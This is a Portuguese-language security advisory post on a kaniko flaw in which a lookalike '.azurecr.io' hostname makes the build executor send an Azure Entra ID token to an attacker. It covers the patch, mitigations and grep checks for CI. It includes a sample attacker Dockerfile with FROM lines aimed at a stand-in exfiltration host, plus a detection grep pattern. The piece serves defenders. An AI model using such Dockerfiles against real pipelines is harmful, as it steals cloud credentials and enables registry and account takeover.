Privacidade Por Equipe DevBras

Capa do artigo: kaniko CVE-2026-105769: token Azure no ACR lookalike

kaniko CVE-2026-105769: token Azure no ACR lookalike

Kaniko < v1.25.20 manda o token Entra ID a registry lookalike (.azurecr.io no host). Fluxo, patch, mitigações e greps para achar o risco no CI.

Em 5 de novembro de 2026 o advisory GHSA-5q7h-w9jf-cx97 mostrou um caminho curto até o token Entra ID da sua pipeline: um Dockerfile com FROM x.azurecr.io.attacker.com/img, kaniko anterior a v1.25.20 e qualquer identidade Azure disponível no ambiente. Sem RUN, sem push, o executor posta o Bearer vivo para o host do atacante. A nota CVE-2026-105769 (NVD) marca CVSS 9.3.

O problema não está no protocolo do ACR. Está no helper embutido docker-credential-acr-env, que decide “isso é ACR?” com uma regex sem âncora. Qualquer hostname que contenha .azurecr.io (ou .cn/.de/.us) passa. Abaixo: o fluxo do incidente, quem é afetado, o patch, mitigações e um roteiro de checagem que você pode rodar no CI hoje — além de onde isso encaixa se o time usa o Dockyard ou outro painel Docker para disparar builds.

O que o helper fazia de errado

O kaniko, fork Chainguard em github.com/chainguard-dev/kaniko, liga o módulo github.com/chrismellard/docker-credential-acr-env no executor e no warmer. Quando precisa de credencial para um registry que não está no Docker config e não é GCR/ECR, consulta esse helper. O helper pede um token ARM/Entra ID (service principal, workload identity do AKS ou managed identity via IMDS) e manda um POST para https://<host>/oauth2/exchange com o token no header Authorization: Bearer e no campo de formulário access_token.

A checagem de host era, em essência, “o nome casa com algo que tenha .azurecr.io no meio?”. Sem ^ nem $ bem colocados, loja.azurecr.io.evil.net passa. O atacante não precisa sequer responder 401: o kaniko pede a credencial antes de falar com o registry. O advisory da Chainguard e o espelho em GHSA no repositório descrevem o mesmo cenário; o Go vuln DB rastreia o módulo upstream como GO-2026-6225.

# Dockerfile controlado pelo atacante (ou por PR sem revisão)
FROM evil.azurecr.io.attacker.invalid/base:latest
# ou:
# COPY --from=evil.azurecr.io.attacker.invalid/tools:1 /bin/x /usr/local/bin/x
# Sem RUN. Sem --destination. O token já saiu.

O mesmo vale para COPY --from=<imagem>. Base image e stage remoto passam pelo helper. Dockerfile em PR de contribuinte, template gerado por ferramenta ou build arg que monta o nome da imagem: qualquer um desses basta se o pipeline não confia só em Dockerfile revisado.

Quem está na linha de fogo

Você é afetado se corre kaniko < v1.25.20 com Dockerfile (ou args) que não controla por completo e o helper consegue uma identidade Azure:

  • variáveis de service principal (AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID);
  • token federado de workload identity no AKS (AZURE_FEDERATED_TOKEN / AZURE_FEDERATED_TOKEN_FILE);
  • managed identity via IMDS (169.254.169.254) ou MSI_ENDPOINT.

Não precisa “usar ACR de propósito”. O helper entra para qualquer registry sem credencial prévia. Se a identidade tiver AcrPush ou mais, o atacante troca o token no ACR real e empurra imagem para o seu registry. Enquanto o token não expira, ARM também responde às roles daquela identidade — ler Key Vault, listar storage, o que a RBAC permitir. Identidade de build com permissão larga piora o estrago; o vazamento em si já é crítico.

Pipelines que montam o executor a partir de imagem antiga “só para testar o PR” e herdam a managed identity do node AKS caem no mesmo saco. O mesmo vale se o time dispara o build pelo Docker no servidor com env Azure exportado “porque o push pro ACR precisa”.

O patch em v1.25.20

A correção saiu na tag v1.25.20, via PR #495. O kaniko passou a carregar uma cópia patchada do helper em third_party/docker-credential-acr-env. A regra nova exige hostname bem formado que termine em .azurecr.io (ou equivalentes regionais) ou seja exatamente mcr.microsoft.com, opcionalmente com porta. Qualquer outra coisa: “credentials not found”, sem pedir token.

O repositório não publica binário pronto: rebuild do executor, do warmer e do binário docker-credential-acr-env a partir de v1.25.20 ou superior. Quem importa o módulo Go atualiza github.com/chainguard-dev/kaniko para ≥ 1.25.20. A partir dessa versão o kaniko deixa de depender do módulo unmaintained, e scanners param de apontar GO-2026-6225 nele.

# Imagem / binário em uso no CI
kaniko_version=$(docker run --rm "$KANIKO_IMAGE" version 2>/dev/null \
  || /kaniko/executor version 2>/dev/null \
  || echo "desconhecido")
echo "$kaniko_version"
# Aceite só >= v1.25.20 (rebuild a partir dessa tag)

Se a imagem do CI ainda mostra 1.23.x / 1.24.x / 1.25.19, trate como vulnerável até o rebuild. Conferir só o digest “latest” sem tag pinada é o mesmo erro de sempre com base image — combine com a disciplina de segredo fora da imagem: credencial e versão pinada andam juntas.

Mitigações enquanto a imagem não sobe

O advisory lista três saídas se o rebuild atrasa:

# Mitigações se ainda não puder subir a imagem
# 1) Sem identidade Azure no pod de build
unset AZURE_CLIENT_ID AZURE_CLIENT_SECRET AZURE_TENANT_ID
unset AZURE_FEDERATED_TOKEN AZURE_FEDERATED_TOKEN_FILE
unset MSI_ENDPOINT MSI_SECRET

# 2) Desliga o helper embutido (kaniko deixa de autenticar ACR por ele)
export AZURE_ENVIRONMENT=none

# 3) Bloqueia IMDS no NetworkPolicy do namespace de build (exemplo Cilium/Calico)
# egress para 169.254.169.254/32 = deny

A opção AZURE_ENVIRONMENT=none faz o helper falhar cedo e o kaniko deixa de autenticar ACR por esse caminho. Útil quando o push usa outro mecanismo (credencial já no Docker config, registry mirror interno). Bloquear IMDS no NetworkPolicy do namespace de build fecha a porta da managed identity mesmo se alguém esquecer o env. Tirar SP e federated token do job é o mínimo se o Dockerfile pode vir de fora.

Token já vazado: rode como incidente. Revogue a credencial / rode a identidade, revise logs de ARM e ACR no intervalo do vazamento, e assuma que quem recebeu o Bearer pode ter trocado em ACR reais. O prazo de validade do access token é o relógio do atacante — não o do seu feeling de “foi só um teste”.

Roteiro de checagem no repositório e no cluster

Três greps leves valem mais do que um slide de “hardening”:

# Ache hostnames que CONTÊM .azurecr.io sem ser ACR de verdade
grep -nE 'FROM|COPY --from=' Dockerfile* 2>/dev/null \
  | grep -iE '\.azurecr\.(io|cn|de|us)' \
  | grep -viE '^[^=]*=[[:space:]]*[a-z0-9.-]+\.azurecr\.(io|cn|de|us)(/|$)'

# Exemplos que devem saltar: x.azurecr.io.evil.com / mcr.microsoft.com.evil.com
# (o patch de v1.25.20 também ancora mcr.microsoft.com)
  1. Liste jobs que montam /kaniko/executor ou imagem *kaniko* e anote a tag/digest. Qualquer coisa < v1.25.20 entra na fila de rebuild.
  2. Nos manifests do job, procure AZURE_*, MSI_* e volume do token federado. Se o job aceita Dockerfile de PR externo, essas variáveis não deveriam existir nesse pod.
  3. Confirme NetworkPolicy: egress para 169.254.169.254/32 negado no namespace de build, salvo exceção documentada.

Em painéis tipo Dockyard/Portainer/Dockge, o risco costuma ser o template do stack com env Azure “global” reutilizado por todo job de build. Separe o stack de build sem identidade Azure do stack que só faz pull de imagens já publicadas. O post sobre painéis Docker ajuda a mapear onde o env está definido; aqui o ponto é não deixar o executor falar com IMDS.

O que não resolve sozinho

  • Trocar só a tag do registry de destino no --destination: o vazamento acontece no pull/resolução da base, antes do push.
  • Confiar em “nosso Dockerfile é interno”: build arg, include remoto e PR de dependabot com Dockerfile de exemplo já bastaram em outros incidentes de supply chain.
  • Atualizar só o binário standalone docker-credential-acr-env do PATH sem rebuildar o executor: o kaniko usa a cópia embutida.
  • Olhar só CVE no scanner da imagem final: a falha é no processo de build, não necessariamente na imagem produzida.

Em resumo: regex sem âncora + identidade Azure no pod de build + Dockerfile não confiável = token ARM na mão de quem controla o hostname lookalike. Rebuild a partir de v1.25.20, tire a identidade Azure do ambiente de build não confiável e bloqueie IMDS. O CVSS 9.3 não é marketing — é o caminho curto até push no seu ACR e ações no ARM com a role da pipeline.

Fontes conferidas em 5 de novembro de 2026: GHSA-5q7h-w9jf-cx97, advisory Chainguard, release v1.25.20, GO-2026-6225, PR #495 e issue upstream #21. CVE-2026-105769 (NVD) citada pelo texto do advisory. Equipe DevBras.

Avalie este artigo